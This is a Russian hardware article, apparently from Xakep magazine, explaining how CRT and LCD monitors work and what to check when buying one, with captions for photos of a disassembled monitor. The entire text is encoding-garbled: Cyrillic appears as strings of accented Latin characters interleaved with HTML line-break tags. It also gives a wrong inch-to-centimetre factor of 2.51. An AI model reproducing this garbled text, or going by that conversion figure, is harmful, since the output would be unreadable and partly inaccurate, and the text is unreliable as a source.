ðàáîòà ñ êîìïîì. Íàñòîÿùåìó<br />

ãèêó î÷åíü âàæíî çíàòü,<br />

êàê óñòðîåí è ðàáîòàåò ìîíèòîð,<br />

êàêèìè ïðèíöèïàìè ñëåäóåò<br />

ðóêîâîäñòâîâàòüñÿ ïðè<br />

ïîêóïêå íîâîãî äåâàéñà. Âåäü<br />

ðàáîòà ñ íåêà÷åñòâåííûì ìîíèòîðîì,<br />

â îòëè÷èå, ñêàæåì, îò<br />

äåðüìîâîãî âèí÷åñòåðà, ÷ðåâàòà<br />

ñåðüåçíûìè ïðîáëåìàìè ñî<br />

çäîðîâüåì: ñïåðâà ó òåáÿ âûðàñòåò<br />

êàòàðàêòà ðàçìåðîì ñ<br />

êóëàê, à ïîòîì – î, óæàñ! - âûïàäóò<br />

âñå âîëîñû :).<br />

ÊÀÊÈÅ ÁÛÂÀÞÒ ÌÎÍÈÒÎÐÛ<br />

Ìîíèòîðû ðàçäåëÿþò ïî ïðèíöèïàì ðàáîòû íà äâå îñíîâíûå è<br />

î÷åíü áîëüøèå ãðóïïû: ÝËÒ è ÆÊ. Ïåðâûå èñïîëüçóþò äëÿ îòîáðàæåíèÿ<br />

èíôîðìàöèè Ýëåêòðîííî-Ëó÷åâóþ Òðóáêó, ÷òî ðàñøèôðîâûâàåò<br />

àááðåâèàòóðó, â ÆÊ-ìîíèòîðàõ ïðèìåíÿþòñÿ æèäêèå<br />

êðèñòàëëû. ÝËÒ-óñòðîéñòâà, â ñâîþ î÷åðåäü, äåëÿòñÿ ïî òèïó âèäåîñèãíàëà<br />

íà ïîäãðóïïû – öèôðîâûå è àíàëîãîâûå.<br />

Äëÿ áîëüøåé<br />

íàäåæíîñòè<br />

ñîåäèíåíèå ïðèêðûòî<br />

îáåñïûëèâàþùèì<br />

÷åõëîì - ê ñëîâó,<br />

âèäåë áû òû, ñêîëüêî<br />

äðÿíè ÿ âûãðåá èç<br />

ýòîãî ìîíèòîðà! Â<br />

òâîåì, ïîâåðü, íå<br />

ìåíüøå :)<br />

Âûâîäû îòêëîíÿþùåé<br />

îáìîòêè<br />

Ïðîâîä äëÿ ñáîðà<br />

ñòàòè÷åñêîãî<br />

ýëåêòðè÷åñòâà. Ïî<br />

íåìó çàðÿä<br />

ïåðåìåùàåòñÿ ñ<br />

ýêðàíà íà<br />

çàçåìëÿþùèå<br />

êîíòàêòû â ðîçåòêå<br />

Âñå çàçåìëÿþùèå<br />

êàáåëè ïðèïàÿíû ê<br />

ýòîé ìåòàëëè÷åñêîé<br />

ïëàñòèíå<br />

Ïîñòîÿííûé ìàãíèò<br />

îòêëîíÿþùåé<br />

ýëåêòðîííûé ïó÷îê<br />

îáìîòêè<br />

Êàê âèäíî, âíóòðè ó<br />

ýòîãî ìîíèòîðà<br />

ñïëîøíûå<br />

êîíäåíñàòîðû, äèîäû<br />

è ðåçèñòîðû. Ýòî<br />

ïîòîìó ÷òî îí<br />

àíàëîãîâûé :)<br />

Ðàçúåì äëÿ<br />

ïîäêëþ÷åíèÿ êàáåëÿ<br />

ïèòàíèÿ è çàçåìëåíèÿ<br />

1 2 3 4<br />

24 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


×ÒÎ ÂÍÓÒÐÈ Ó<br />

ÝËÒ-ÌÎÍÈÒÎÐÀ<br />

Îñíîâíàÿ ÷àñòü òàêîãî ìîíèòîðà –<br />

ýòî êèíåñêîï. Îí ïðåäñòàâëÿåò ñîáîé<br />

ãåðìåòè÷íî çàïàÿííóþ êîëáó,<br />

èìåþùóþ áîëüøóþ ïî ïëîùàäè ïîëîãóþ<br />

ãðàíü – ýêðàí è âûòÿíóòóþ<br />

òðóáêó. Ýêðàí ðàâíîìåðíî ïîêðûò ñ<br />

âíóòðåííåé ñòîðîíû ñïåöèàëüíûì<br />

âåùåñòâîì – ëþìèíîôîðîì, êîòîðîå<br />

îáëàäàåò óíèêàëüíûì ôèçè÷åñêèì<br />

ñâîéñòâîì – îíî ñâåòèòñÿ ïîä<br />

óäàðàìè ýëåêòðîíîâ. Íà ýòîì è îñíîâàíà<br />

ðàáîòà ìîíèòîðà: âíóòðè<br />

âûòÿíóòîé òðóáêè, ðàñïîëîæåííîé<br />

íàïðîòèâ ýêðàíà, ñîçäàåòñÿ ìîùíîå<br />

ýëåêòðè÷åñêîå ïîëå, ïîä<br />

äåéñòâèåì êîòîðîãî ïîñòóïàþùèå ñ<br />

ìîäóëÿòîðà ýëåêòðîíû ðàçãîíÿþòñÿ<br />

äî ïîðÿäî÷íîé ñêîðîñòè è ñ ðàçìàõó<br />

ëóïÿò ïî ëþìèíîôîðíîìó ïîêðûòèþ<br />

ýêðàíà. Åñòåñòâåííî, äåéñòâèÿ<br />

îäíîãî ýëåêòðîíà íåäîñòàòî÷íî –<br />

íåîáõîäèìî áåñ÷èñëåííîå èõ êîëè-<br />

÷åñòâî, ÷òîáû ÷åëîâåê ìîã çðèòåëüíî<br />

çàôèêñèðîâàòü ñâå÷åíèå ýêðàíà,<br />

ò.å. óâèäåòü èçîáðàæåíèå. Îò êîëè÷åñòâà<br />

ýëåêòðîíîâ â ïó÷êå çàâèñèò<br />

ÿðêîñòü ñâå÷åíèÿ; êðîìå òîãî,<br />

ïîíÿòíî, ÷òî åñëè ýëåêòðîíû áóäóò<br />

ïîïàäàòü â îäíó òî÷êó ýêðàíà, òîëêó<br />

ñ òàêîãî ìîíèòîðà íåìíîãî –<br />

äëÿ îòêëîíåíèÿ ïó÷êà ýëåêòðîíîâ<br />

ïðèìåíÿþò ñïåöèàëüíûå îáìîòêè,<br />

êîòîðûå, ñîçäàâàÿ ýëåêòðîìàãíèòíûå<br />

ïîëÿ, îòêëîíÿþò â òðåáóåìîì<br />

íàïðàâëåíèè ýëåêòðîíû. Ëþáîå<br />

èçîáðàæåíèå íà ìîíèòîðå ïðåäñòàâëÿåòñÿ<br />

â âèäå ìíîæåñòâà íåçàâèñèìûõ<br />

äèñêðåòíûõ “òî÷åê” ëþìèíîôîðíîãî<br />

ïîêðûòèÿ (ñòîèò çàìåòèòü,<br />

÷òî ïîíÿòèå “òî÷êè” ââîäèòñÿ<br />

íå íà óðîâíå àáñòðàêöèè,<br />

ïîêðûòèå íåîäíîðîäíî è ïðåäñòàâëÿåò<br />

ñîáîé ìíîæåñòâî òðèàäíûõ<br />

òî÷åê, ñîñòîÿùèõ èç òðåõ ðÿäîì<br />

ðàñïîëîæåííûõ ïÿòåí ëþìèíîôîðà<br />

äëÿ òðåõ îñíîâíûõ öâåòîâ<br />

– êðàñíîãî, ñèíåãî è çåëåíîãî).<br />

Ôîðìèðóÿ èçîáðàæåíèå, ýëåêòðîííûé<br />

ëó÷ _î÷åíü_ áûñòðî îáõîäèò<br />

âñþ ïîâåðõíîñòü ýêðàíà, ïåðåäâèãàÿñü<br />

ïî ñòðîêàì ñëåâà íàïðàâî<br />

îò âåðõíåé ñòðî÷êè ê íèæíåé.<br />

 òåëåâèçîðå óïðàâëÿþùèé èçîáðàæåíèåì<br />

ñèãíàë íåïðåðûâåí ïî<br />

óðîâíþ è âî âðåìåíè – òàêîé ñèãíàë<br />

íàçûâàþò àíàëîãîâûì. Â ìîíèòîðàõ<br />

æå ìîæåò ïðèìåíÿòüñÿ êàê<br />

àíàëîãîâûé, òàê è èìåþùèé ëîãè-<br />

÷åñêóþ ñòðóêòóðó öèôðîâîé ñèãíàë;<br />

òàê óæ èñòîðè÷åñêè ñëîæèëîñü, ÷òî<br />

ïåðâûìè áûëè öèôðîâûå ìîíèòîðû,<br />

àíàëîãîâûå ïîÿâèëèñü ïîçæå.<br />

Ïîêóïàÿ ïëîñêèé ìîíèòîð, èìåé â âèäó, ÷òî ëèøü íåêîòîðûå<br />

ìîäåëè äåéñòâèòåëüíî ïëîñêèå, ò.å. èìåþò ÍÅ ïîêàòóþ âíóòðåííþþ<br />

ãðàíü ýêðàíà. Ñóùåñòâåííàÿ ÷àñòü “ïëîñêèõ” ìîíèòîðîâ<br />

ïðåäñòàâëÿåò ñîáîé îáûêíîâåííûå “êðóãëÿøêè”, âèäèìàÿ<br />

÷àñòü ýêðàíà êîòîðûõ âûðîâíåíà êà÷åñòâåííûì ñòåêëîì, ÷òî<br />

ïî÷òè íå óáèðàåò èñêàæåíèé, ïîýòîìó îáÿçàòåëüíî óòî÷íè ó<br />

ïðîäàâöà, äåéñòâèòåëüíî ëè ìîíèòîð ïëîñêèé.<br />

Ãëàâíàÿ ïå÷àòíàÿ<br />

ïëàòà ìîíèòîðà,<br />

çäåñü ðàçìåùàþòñÿ<br />

îñíîâíûå ðàçúåìû è<br />

äåòàëè -<br />

èñêëþ÷èòåëüíî,<br />

åñòåñòâåííî,<br />

àíàëîãîâîãî òîëêà.<br />

×àñòü îòêëîíÿþùåé<br />

îáìîòêè. Ëüâèíóþ åå<br />

äîëþ ïîïðîñòó íå<br />

âèäíî, ÿ ïîáîÿëñÿ,<br />

÷òî åñëè ðàñêóðî÷ó<br />

ìàãíèò, îáðàòíî åãî<br />

ïîòîì íå ñîáåðó :/<br />

Âûâîäû îòêëîíÿþùåé<br />

îáìîòêè êðóïíûì<br />

ïëàíîì. Îò÷åòëèâî<br />

âèäíî - ïàéêà<br />

ãîâåíàÿ, made in<br />

China :)<br />

Îáìîòêà ñêðûòà îò<br />

íàøèõ ãëàç ýòèì<br />

ìàãíèòîì, íî áåç íåãî<br />

íè÷åãî áû íå<br />

ðàáîòàëî<br />

Ýëåêòðîííàÿ òðóáêà è<br />

ðàçãîíÿþùèå<br />

îáìîòêè. Ïî ýòîé<br />

ñòåêëÿííîé êîëáå ñ<br />

áåøåííîé ñêîðîñòüþ<br />

íåñóòñÿ ýëåêòðîíû,<br />

âîçäåéñòâèå êîòîðûõ<br />

íà ëþìèíîôîð òû<br />

íàáëþäàåøü,<br />

ðàññìàòðèâàÿ<br />

êàðòèíêó íà ýêðàíå.<br />

5 6 7 8 9<br />

Þíèêñîèä X-Còèëü Êîäèíã Þíèòû Quit> 25


INSIDE<br />

ÎÊÍÎ Â ÖÈÔÐÓ<br />

Íèêèòà «Nikitos» Êèñëèöèí<br />

(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />

ÀÍÀËÎÃÎÂÛÅ<br />

ÝËÒ-ÌÎÍÈÒÎÐÛ<br />

Îñíîâíàÿ ïðè÷èíà ïåðåõîäà ê<br />

àíàëîãîâîìó ñèãíàëó çàêëþ÷àåòñÿ<br />

â îãðàíè÷åííîñòè îòîáðàæàåìîé<br />

öèôðîâûì äèñïëååì ïàëèòðû,<br />

ïîñêîëüêó åå ðàñøèðåíèå<br />

âîçìîæíî ëèøü óâåëè÷åíèåì<br />

÷èñëà êîíêðåòíûõ öâåòîâ, ÷òî âûçûâàåò<br />

íåîáõîäèìîñòü â èñïîëüçîâàíèè<br />

íåñêîëüêèõ(!) ìîäóëÿòîðîâ<br />

íà êàæäîé èç òðåõ ïóøåê, ÷òî<br />

ñòîèò ñëèøêîì äîðîãî – äà è<br />

ãëóïî ýòî ïîïðîñòó. Â ðåçóëüòàòå<br />

èíæåíåðû íàøëè âûõîä â èñïîëüçîâàíèè<br />

àíàëîãîâîãî ñèãíàëà, êîòîðûé<br />

íå èìååò äèñêðåòíûõ çíà-<br />

÷åíèé, è âåëè÷èíà íàïðÿæåíèÿ â<br />

íåì ìîæåò ïðèíèìàòü ëþáîå çíà-<br />

÷åíèå â äèàïàçîíå îò 0 äî 0.7  –<br />

âîò óæå è íåîãðàíè÷åííàÿ ïàëèòðà.<br />

Âïðî÷åì, âèäåîàäàïòåð ìîæåò<br />

îáåñïå÷èâàòü ëèøü êîíå÷íîå<br />

÷èñëî ðàçëè÷àåìûõ ãðàäàöèé<br />

óðîâíÿ ñèãíàëà, ÷òî íàêëàäûâàåò<br />

îãðàíè÷åíèå íà ïàëèòðó âñåé<br />

ñèñòåìû â öåëîì.<br />

Àíàëîãîâûé âèäåîñèãíàë ïåðåäàåòñÿ<br />

ìîíèòîðó ÷åðåç 15-êîíòàêòíûé<br />

òðåõðÿäíûé ðàçúåì, äëÿ ïåðåäà÷è<br />

öâåòîâûõ ñèãíàëîâ èñïîëüçóþòñÿ<br />

âîñåìü èç ïÿòíàäöàòè ïðîâîäîâ,<br />

ïî îñòàâøèìñÿ ñåìè ïåðåäàåòñÿ<br />

ïðî÷àÿ óïðàâëÿþùàÿ èíôîðìàöèÿ<br />

(áèòû èäåíòèôèêàöèè<br />

âèäåîðåæèìà, êëþ÷è äëÿ èäåíòèôèêàöèè<br />

íåïîëàäîê è ïðî÷.).<br />

Ñþäà ïîäêëþ÷àåòñÿ<br />

ýëåêòðîííàÿ òðóáêà,<br />

åå ðàçúåìû î÷åíü<br />

íàïîìèíàþò ðàçúåìû<br />

ýëåêòðîëàìïû èç<br />

äåäóøêèíîãî<br />

ðàäèîïðèåìíèêà :)<br />

ÔÎÐÌÈÐÎÂÀÍÈÅ<br />

ÈÇÎÁÐÀÆÅÍÈß<br />

Äëÿ ôîðìèðîâàíèÿ êàðòèíêè â<br />

äèñïëåå èñïîëüçóþòñÿ ñïåöèàëüíûå<br />

óïðàâëÿþùèå ñèãíàëû. Ñêàíèðóÿ<br />

ïîâåðõíîñòü ýêðàíà, ëó÷ äâèæåòñÿ<br />

ïî çèãçàãó îò ëåâîãî âåðõíåãî<br />

óãëà äî ïðàâîãî íèæíåãî. Ãîðèçîíòàëüíûé<br />

õîä ëó÷à ðåàëèçóåòñÿ ñèãíàëîì<br />

ñòðî÷íîé ðàçâåðòêè, âåðòèêàëüíûé<br />

– êàäðîâîé. Ïåðåâîä ëó÷à<br />

èç êðàéíåãî ïðàâîãî ïîëîæåíèÿ<br />

ñòðîêè â êðàéíþþ ëåâóþ òî÷êó ñëåäóþùåé<br />

ñòðî÷êè è èç êðàéíåé ïðàâîé<br />

ïîçèöèè ïîñëåäíåé ñòðîêè â<br />

êðàéíþþ ëåâóþ òî÷êó ïåðâîé ñòðîêè<br />

îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ñèãíàëîâ<br />

îáðàòíîãî õîäà.<br />

Ñîçäàâàåìîå ýòèì ñïîñîáîì<br />

èçîáðàæåíèå êàæåòñÿ íàøåìó<br />

ìîçãó âïîëíå ðåàëèñòè÷íûì, îí<br />

íå ìîæåò åãî îòëè÷èòü îò “íàñòîÿùåãî”,<br />

ðåàëüíî ïðîèñõîäÿùåãî<br />

äåéñòâèÿ. À âñå èç-çà îñîáåííîñòåé<br />

íàøåãî íåñîâåðøåííîãî çðåíèÿ.<br />

Âîçíèêíîâåíèå è ïðåêðàùåíèå<br />

ôîòîõèìè÷åñêèõ ðåàêöèé â<br />

ñåò÷àòêå ãëàçà â ðåçóëüòàòå ïîëó-<br />

÷åíèÿ ýíåðãèè êâàíòîâ ñâåòà ïðîèñõîäèò<br />

îòíþäü íå ìãíîâåííî, à ñ<br />

ñåðüåçíîé çàäåðæêîé – äî îäíîé<br />

ñåêóíäû. Ìîæåøü â ýòîì íàãÿäíî<br />

óáåäèòüñÿ – ïîñìîòðè íà ÿðêóþ<br />

ëàìïî÷êó è áûñòðî çàêðîé ãëàçà<br />

ëàäîíÿìè – íåêîòîðîå âðåìÿ òû<br />

åùå áóäåøü “âèäåòü” ÿðêîå ïÿòíî,<br />

ïîòîì îíî áûñòðî ïîãàñíåò –<br />

ýòî çàêîí÷èëàñü ðåàêöèÿ â ñåò-<br />

÷àòêå. Çàòåì ïÿòíî îïÿòü ïîÿâèòñÿ,<br />

íî áóäåò óæå äðóãèì, ìåíåå<br />

ÿðêèì è èíûì ïî ôîðìå – à ýòî<br />

óæå íàø ìîçã ïûòàåòñÿ âîñïðîèçâåñòè<br />

óâèäåííóþ â ïîñëåäíèé ìîìåíò<br />

êàðòèíêó, ÷òîáû â ñëó÷àå<br />

îïàñíîñòè ïîïûòàòüñÿ ñðåàãèðîâàòü<br />

àäåêâàòíûì îáðàçîì. Áëàãîäàðÿ<br />

ýòîìó íàøåìó ãëþêó, âîñïðîèçâîäèìàÿ<br />

íà õîðîøåì ìîíèòîðå<br />

êàðòèíêà êàæåòñÿ ÷åëîâåêó<br />

àáñîëþòíî ðåàëèñòè÷íîé.<br />

Äëÿ ôîðìèðîâàíèÿ öâåòíîãî<br />

èçîáðàæåíèÿ â ìîíèòîðàõ ïðèìåíÿþòñÿ<br />

òðè ðàçíûõ ýëåêòðîííûõ<br />

ïóøêè, êàæäàÿ èõ êîòîðûõ îòâå÷àåò<br />

çà îäèí èç ãëàâíûõ öâåòîâ: ñèíèé,<br />

çåëåíûé è êðàñíûé. Ëþáîé<br />

äðóãîé öâåò ìîæåò áûòü ïîëó÷åí<br />

ïóòåì ñìåøèâàíèÿ òðåõ îñíîâíûõ<br />

â ðàçëè÷íûõ “ïðîïîðöèÿõ” – òóò<br />

ïîäðàçóìåâàåòñÿ èíòåíñèâíîñòü<br />

ðàáîòû òîé èëè èíîé ïóøêè. Â ñîîòâåòñòâèè<br />

ñ îñîáåííîñòÿìè ÷åëîâå÷åñêîãî<br />

çðåíèÿ, íà âíóòðåííþþ<br />

ïîâåðõíîñòü ýêðàíà íàíåñåí ëþìèíîôîð<br />

òðåõ îñíîâíûõ öâåòîâ,<br />

ïðè÷åì êàæäûé ïèêñåë ñîäåðæèò<br />

ïÿòíà âñåõ òðåõ ëþìèíîôîðîâ. Ïî<br />

êàæäîìó òàêîìó ïÿòíó ñ ðàçëè÷íîé<br />

èíòåíñèâíîñòüþ ëóïÿò ýëåêòðîíû,<br />

ñîçäàâàåìûå ñóâåðåííûìè ýëåêòðîííûìè<br />

ïóøêàìè, öâåòà íàêëàäûâàþòñÿ<br />

äðóã íà äðóãà è ñîçäàþò<br />

ïèêñåë òîãî èëè èíîãî öâåòà. ×òîáû<br />

êàæäàÿ èç ïóøåê ñòðåëÿëà<br />

òîëüêî ïî ñâîèì ïÿòíàì, ïðèìåíÿåòñÿ<br />

ñïåöèàëüíàÿ ñâåòîðàçäåëèòåëüíàÿ<br />

ìàñêà, îáû÷íî ïðåäñòàâëÿþùàÿ<br />

ñîáîé ïëàñòèíó èç ñïåöèàëüíîãî<br />

ìåòàëëà – èíâàðà ñ ñèñòåìîé<br />

îòâåðñòèé, â òî÷íîñòè ñîîòâåòñòâóþùèõ<br />

òî÷êàì ëþìèíîôîðà.<br />

Áëàãîäàðÿ íèçêîìó êîýôôèöèåíòó<br />

òåïëîâîãî ðàñøèðåíèÿ èíâàðà,<br />

ñòàáèëüíîñòü ðàáîòû òàêîé ìàñêè<br />

ñîõðàíÿåòñÿ äàæå ïðè íàãðåâå<br />

ïëàñòèíû â ðåçóëüòàòå áîìáàðäèðîâêè<br />

ýëåêòðîíàìè.<br />

ÆÊ-ÌÎÍÈÒÎÐÛ<br />

 ïîñëåäíåå âðåìÿ âñå áîëüøóþ<br />

ïîïóëÿðíîñòü ïðèîáðåòàþò ÆÊäèñïëåè,<br />

îñíîâàííûå íà óíèêàëüíûõ<br />

ñâîéñòâàõ æèäêèõ êðèñòàëëîâ.<br />

Ýòè ìîíèòîðû íå â ïðèìåð êîìïàêòíåå,<br />

ëåã÷å è äîðîæå ñâîèõ ÝËÒêîíêóðåíòîâ.<br />

Âïðî÷åì, öåíû â<br />

ïîñëåäíåå âðåìÿ ïàäàþò âñå íèæå<br />

è íèæå, äåëàÿ ÆÊ-äèñïëåè äîñòóïíûìè<br />

ðÿäîâîìó ïîëüçîâàòåëþ.<br />

Îñíîâíûì ýëåìåíòîâ òàêîãî äèñïëåÿ<br />

ÿâëÿåòñÿ ýêðàí, ñîñòîÿùèé èç<br />

äâóõ ïëàñòèêîâûõ ïàíåëåé, ìåæäó<br />

êîòîðûìè íàõîäèòñÿ ñëîé æèäêîêðèñòàëëè÷åñêîãî<br />

âåùåñòâà, ýòè ïàíåëè<br />

ïðèíÿòî íàçûâàòü ïîäëîæêàìè.<br />

Êàê è â ÝËÒ-ìîíèòîðå, ýêðàí<br />

ÆÊ-äèñïëåÿ ïðåäñòàâëÿåò ñîáîé<br />

ñîâîêóïíîñòü æê-ÿ÷ååê, êàæäàÿ èç<br />

êîòîðûõ îïðåäåëÿåò îäèí ïèêñåë.<br />

Îäíàêî, â îòëè÷èå îò ëþìèíîôîðíîãî<br />

ïîêðûòèÿ, çäåñü ÿ÷åéêà ñàìà<br />

íå ñïîñîáíà ãåíåðèðîâàòü ñâåò –<br />

îíà ëèøü óïðàâëÿåò èíòåíñèâíîñòüþ<br />

è ÷àñòîòîé ïðîõîäÿùåãî<br />

÷åðåç íåå ñâåòà, âûñòóïàÿ â ðîëè<br />

óïðàâëÿåìîãî ñâåòîôèëüòðà. Ïîýòîìó<br />

æê-äèñïëåè âñåãäà èñïîëüçóþ<br />

ïîäñâåòêó, ÷àùå âñåãî íà áàçå ëþìèíåñöåíòíîé<br />

ëàìïû ñ õîëîäíûì<br />

êàòîäîì, ÷òî äåëàåò ýòè äèñïëåè<br />

î÷åíü ýêîíîìíûìè â ïëàíå ýíåðãîïîòðåáëåíèÿ.<br />

Ìîëåêóëû æèäêîêðèñòàëëè÷åñêîãî<br />

âåùåñòâà, èìåÿ<br />

âûòÿíóòóþ ôîðìó, ïîä âîçäåéñòâèåì<br />

ýëåêòðè÷åñêîãî ïîëÿ ïðèîáðåòàþò<br />

óïîðÿäî÷åííîå íàïðàâëåíèå,<br />

÷òî ïðèâîäèò ê ïîÿâëåíèþ ýôôåêòà<br />

îïòè÷åñêîé àíèçîòðîïèè, ïðè êîòîðîì<br />

ïîêàçàòåëü ïðåëîìëåíèÿ âåùåñòâà<br />

çàâèñèò îò íàïðàâëåíèÿ<br />

ðàñïðîñòðàíåíèÿ ñâåòîâîé âîëíû â<br />

ýòîì âåùåñòâå – î÷åíü èíòåðåñíûé<br />

ýôôåêò, êîòîðûé äî ñèõ ïîð<br />

ïîëíîñòüþ íå èçó÷åí.<br />

Òàêèì îáðàçîì, â îáû÷íîì ñîñòîÿíèè<br />

êàæäàÿ ÿ÷åéêà ïðîçðà÷íà<br />

äëÿ ñâåòà, èñõîäÿùåãî îò ïîäñâåòêè,<br />

íî ñòîèò ïîäâåñòè ê ïîäëîæêàì<br />

íàïðÿæåíèå â 3-10<br />

âîëüò, êàê ÿ÷åéêà ñòàíîâèòñÿ<br />

íåïðîçðà÷íîé – òàê â îáùèõ<br />

ñëîâàõ ôîðìèðóåòñÿ èçîáðàæåíèå.<br />

Âîîáùå, òóò âñå äîâîëüíî<br />

ñëîæíî, ñóùåñòâóåò íåñêîëüêî<br />

ðàçëè÷íûõ çàïàòåíòîâàííûõ òåõíîëîãèé<br />

ôîðìèðîâàíèÿ öâåòíîãî<br />

èçîáðàæåíèÿ, íî âñå îíè ðàáîòàþò<br />

áëàãîäàðÿ ýòîìó îïèñàííîìó<br />

ýôôåêòó.<br />

Ïðè âûáîðå æê-ìîíèòîðà ñëåäóåò<br />

ðóêîâîäñòâîâàòüñÿ ñëåäóþùèìè<br />

ïàðàìåòðàìè. Î÷åíü âàæíàÿ<br />

âåëè÷èíà – ïîëå îáçîðà, õàðàêòåðèçóåòñÿ<br />

óãëàìè îáçîðà, èçìåðÿåìûìè<br />

îò ïåðïåíäèêóëÿðà,<br />

âîññòàíîâëåííîãî ê ïëîñêîñòè<br />

ýêðàíà. ×åì ýòîò ïàðàìåòð áîëüøå<br />

– òåì ëó÷øå. Íå ìåíåå âàæíûì<br />

ïàðàìåòðîì ÿâëÿåòñÿ ÿðêîñòü<br />

ìîíèòîðà – ÷åì ýòà âåëè-<br />

÷èíà âûøå, òåì ëó÷øå: èçîáðàæåíèå<br />

áóäåò íàñûùåííûì, óâåëè÷àòñÿ<br />

óãëû îáçîðà. Ïîä êîíòðàñòíîñòüþ<br />

èçîáðàæåíèÿ ïîíèìàåòñÿ<br />

÷èñëî ðàç, â êîòîðîå óâåëè-<br />

÷èòñÿ åãî ÿðêîñòü ïðè âîçðàñòàíèè<br />

óðîâíÿ ñèãíàëà ñ ìèíèìàëüíîãî<br />

äî ìàêñèìàëüíîãî, ÷åì ïàðàìåòð<br />

âûøå – òåì êà÷åñòâåííåå<br />

ìîíèòîð è òåì ïðèÿòíåå áóäåò<br />

èì ïîëüçîâàòüñÿ. Èíåðöèîííîñòü<br />

– ýòî ìèíèìàëüíîå âðåìÿ, íåîáõîäèìîå<br />

äëÿ àêòèâèçàöèè ÿ÷åéêè<br />

ìîíèòîðà, ÷åì çíà÷åíèå ýòîãî<br />

ïàðàìåòðà ìåíüøå, òåì ëó÷øå.<br />

26<br />

Íüþñû<br />

1 2 3 4<br />

Ôåððóì Inside PC_Zone Âçëîì


ÖÈÔÐÎÂÛÅ<br />

ÝËÒ-ÌÎÍÈÒÎÐÛ<br />

Ýòè ìîíèòîðû óæå, â îáùåì-òî,<br />

óøëè â ïðîøëîå. Îäíàêî ÿ ðåøèë<br />

çàòðîíóòü ýòó òåìó â îáðàçîâàòåëüíûõ<br />

öåëÿõ – íàäî æå çíàòü, ñ<br />

÷åãî âñå íà÷èíàëîñü :).<br />

Óïðàâëåíèå öèôðîâûì äèñïëååì<br />

îñóùåñòâëÿåòñÿ äâîè÷íûìè ñèãíàëàìè,<br />

êîòîðûå èìåþò òîëüêî<br />

äâà ðàçëè÷àåìûõ ñîñòîÿíèÿ –<br />

ëîãè÷åñêèé íóëü è åäèíèöà. Åäèíèöå<br />

ñîîòâåòñòâóåò íàïðÿæåíèå<br />

îò 3 äî 5 âîëüò, íóëþ – ìåíåå 0.5<br />

Â. Òàêèå ìîíèòîðû ìîãóò ðàáîòàòü<br />

ëèøü ñ âèäåîêàðòàìè ñòàíäàðòîâ<br />

EGA/CGA. Óïðàâëÿþùèé<br />

ñèãíàë ïåðåäàåòñÿ ïî ÷åòûðåì<br />

ïðîâîäàì, òðè èç êîòîðûõ ñîäåðæàò<br />

èíôîðìàöèþ î íàëè÷èè (1)<br />

èëè îòñóòñòâèè (0) îäíîãî èç òðåõ<br />

öâåòîâ (èìååòñÿ â âèäó RGB-ìîäåëü)<br />

â ôîðìèðóåìîì ïèêñåëå,<br />

ñèãíàë èç ÷åòâåðòîãî ïðîâîäà îïðåäåëÿåò<br />

èíòåíñèâíîñòü ðàáîòû<br />

âñåõ òðåõ ïóøåê îäíîâðåìåííî.<br />

Òàêèì îáðàçîì, íà ýòèõ ìîíèòîðàõ<br />

ìîæåò îäíîâðåìåííî îòîáðàæàòüñÿ<br />

äî 2^4=16 öâåòîâ. Ýòî ñî<br />

âðåìåíåì ïåðåñòàëî óñòðàèâàòü<br />

è ïîëüçîâàòåëåé, è èíæåíåðîâ, â<br />

ðåçóëüòàòå ÷åãî ïîñëåäíèå, æåëàÿ<br />

äåíåã, ïðèíÿëèñü çà ðàçðàáîòêó<br />

àíàëîãîâûõ ìîíèòîðîâ.<br />

ÎÑÍÎÂÍÛÅ<br />

ÏÀÐÀÌÅÒÐÛ<br />

ÝËÒ-ÌÎÍÈÒÎÐÎÂ<br />

Ïîæàëóé, ãëàâíàÿ õàðàêòåðèñòèêà<br />

ëþáîãî ìîíèòîðà – ýòî äëèíà åãî<br />

äèàãîíàëè, âåëè÷èíà ýòà êëàññè-<br />

÷åñêè èçìåðÿåòñÿ â äþéìàõ, äëÿ<br />

ïåðåâîäà â ñàíòèìåòðû ñëåäóåò<br />

óìíîæèòü åå íà 2.51. Íå ñëåäóåò<br />

ïóòàòü ýòîò ïàðàìåòð ñ äèàãîíàëüþ<br />

ðàáî÷åé îáëàñòè ýêðàíà,<br />

ïðîèçâîäèòåëè äèñïëååâ çäåñü<br />

èìåþò â âèäó ãåîìåòðè÷åñêèé<br />

ðàçìåð äèàãîíàëè äèñïëåÿ.<br />

Êà÷åñòâî èçîáðàæåíèÿ íàïðÿìóþ<br />

çàâèñèò îò òèïà öâåòîäåëèòåëüíîé<br />

ìàñêè, îñíîâíàÿ õàðàêòåðèñòèêà<br />

êîòîðîé – ðàññòîÿíèå ìåæäó<br />

áëèæàéøèìè îòâåðñòèÿìè, ïðåäíàçíà÷åííûìè<br />

äëÿ ëó÷à îò îäíîé<br />

èç ïóøåê. Î÷åâèäíî, ýòî ðàññòîÿíèå<br />

ïðÿìî îïðåäåëÿåòñÿ âåëè÷èíîé<br />

òðèàäíûõ òî÷åê ëþìèíîôîðà,<br />

÷åì ýòîò ïàðàìåòð ìåíüøå, òåì<br />

êà÷åñòâåííåå ïîëó÷àåìàÿ êàðòèíêà.<br />

Èäåàëüíûì ìîæíî ñ÷èòàòü ìîíèòîð,<br />

âåëè÷èíà çåðíà êîòîðîãî<br />

áëèçèòñÿ ê 0.2 ìì, íî òàêèå äèñïëåè<br />

ñòîÿò äîâîëüíî äîðîãî.<br />

Ìîíèòîð ïåðåä ïîêóïêîé ñëåäóåò<br />

ïðîâåðèòü íà èñêàæåíèÿ – òàáëèöà<br />

äîëæíà áûòü ïðÿìîóãîëüíîé,<br />

êâàäðàò êâàäðàòíûì, à êðóã êðóãëûì.<br />

Êðîìå òîãî, î÷åíü ÷àñòî â íåêà÷åñòâåííûõ<br />

ìîíèòîðàõ íàáëþäàåòñÿ<br />

ýôôåêò “äðîæàíèÿ” òîíêèõ<br />

ëèíèé, áóêâ è ò.ä. – âñå ýòî êðàéíå<br />

íåæåëàòåëüíî, ïàãóáíî âëèÿåò<br />

íà çðåíèå, âûçûâàåò ïîâûøåííóþ<br />

ðàçäðàæèòåëüíîñòü è ëè÷íî ìåíÿ<br />

ïðîñòî áåñèò, íå ìîãó äîëãî ðàáîòàòü<br />

çà óáîãèì ìîíèòîðîì. Ïîýòîìó<br />

íàñòîÿòåëüíî ðåêîìåíäóþ ïðèäèð÷èâî<br />

îöåíèâàòü ýòè ïàðàìåòðû<br />

ìîíèòîðà, íå ñîáëàçíÿÿñü âíåøíèì<br />

